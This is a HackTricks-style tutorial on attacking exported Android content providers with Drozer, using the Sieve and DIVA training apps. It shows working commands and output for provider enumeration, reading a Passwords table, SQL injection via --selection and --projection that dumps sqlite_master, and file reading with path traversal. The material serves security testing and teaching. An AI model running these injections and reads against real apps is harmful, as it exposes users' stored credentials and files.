hacktricks/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md

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# Exploiting Content Providers
## Intro
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A content provider component **supplies data from one application to others** on request. Such requests are handled by the methods of the ContentResolver class. A content provider can use different ways to store its data and the data can be **stored** in a **database**, in **files**, or even over a **network**.
It has to be declared inside the _Manifest.xml_ file. Example:
```markup
<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>
```
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In this case, it's necessary the permission `READ_KEYS` to access `content://com.mwr.example.sieve.DBContentProvider/Keys`\
(_Also, notice that in the next section we are going to access `/Keys/` which isn't protected, that's because the developer got confused and protected `/Keys` but declared `/Keys/`_)
**Maybe you can access private data or exploit some vulnerability (SQL Injection or Path Traversal).**
## Get info from **exposed content providers**
```
dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
```
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We can **reconstruct** part of the content **URIs** to access the **DBContentProvider**, because we know that they must begin with “_content://_” and the information obtained by Drozer inside Path: _/Keys_.
Drozer can **guess and try several URIs**:
```
dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
```
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You should also check the **ContentProvider code** to search for queries:
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![](<../../../.gitbook/assets/image (121) (1) (1) (1).png>)
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Also, if you can't find full queries you could **check which names are declared by the ContentProvider** on the `onCreate` method:
![](<../../../.gitbook/assets/image (186).png>)
The query will be like: `content://name.of.package.class/declared_name`
## **Database-backed Content Providers**
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Probably most of the Content Providers are used as **interface** for a **database**. Therefore, if you can access it you could be able to **extract, update, insert and delete** information.\
Check if you can **access sensitive information** or try to change it to **bypass authorisation** mechanisms.
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When checking the code of the Content Provider **look** also for **functions** named like: _query, insert, update and delete_:
![](<../../../.gitbook/assets/image (187).png>)
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![](<../../../.gitbook/assets/image (254) (1) (1) (1) (1) (1) (1) (1).png>)
Because you will be able to call them
### Query content
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com
```
### Insert content
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Quering the database you will learn the **name of the columns**, then, you could be able to insert data in the DB:
![](<../../../.gitbook/assets/image (188).png>)
![](<../../../.gitbook/assets/image (189).png>)
_Note that in insert and update you can use --string to indicate string, --double to indicate a double, --float, --integer, --long, --short, --boolean_
### Update content
Knowing the name of the columns you could also **modify the entries**:
![](<../../../.gitbook/assets/image (190).png>)
### Delete content
![](<../../../.gitbook/assets/image (191).png>)
### **SQL Injection**
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It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\
When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_:
![](<../../../.gitbook/assets/image (192).png>)
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You can try to **abuse** this **parameters** to test for **SQL injections**:
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
```
```
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type | name | tbl_name | rootpage | sql |
| table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
| table | Passwords | Passwords | 4 | CREATE TABLE ... |
```
#### Automatic SQLInjection discovery by Drozer
```
dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence
```
## **File System-backed Content Providers**
Content providers could be also used to **access files:**
![](<../../../.gitbook/assets/image (193).png>)
### Read **file**
You can read files from the Content Provider
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
### **Path Traversal**
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If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks).
```
dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1 localhost
```
#### **Automatic Path Traversal discovery by Drozer**
```
dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider
```
## References
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* [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm)
* [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/)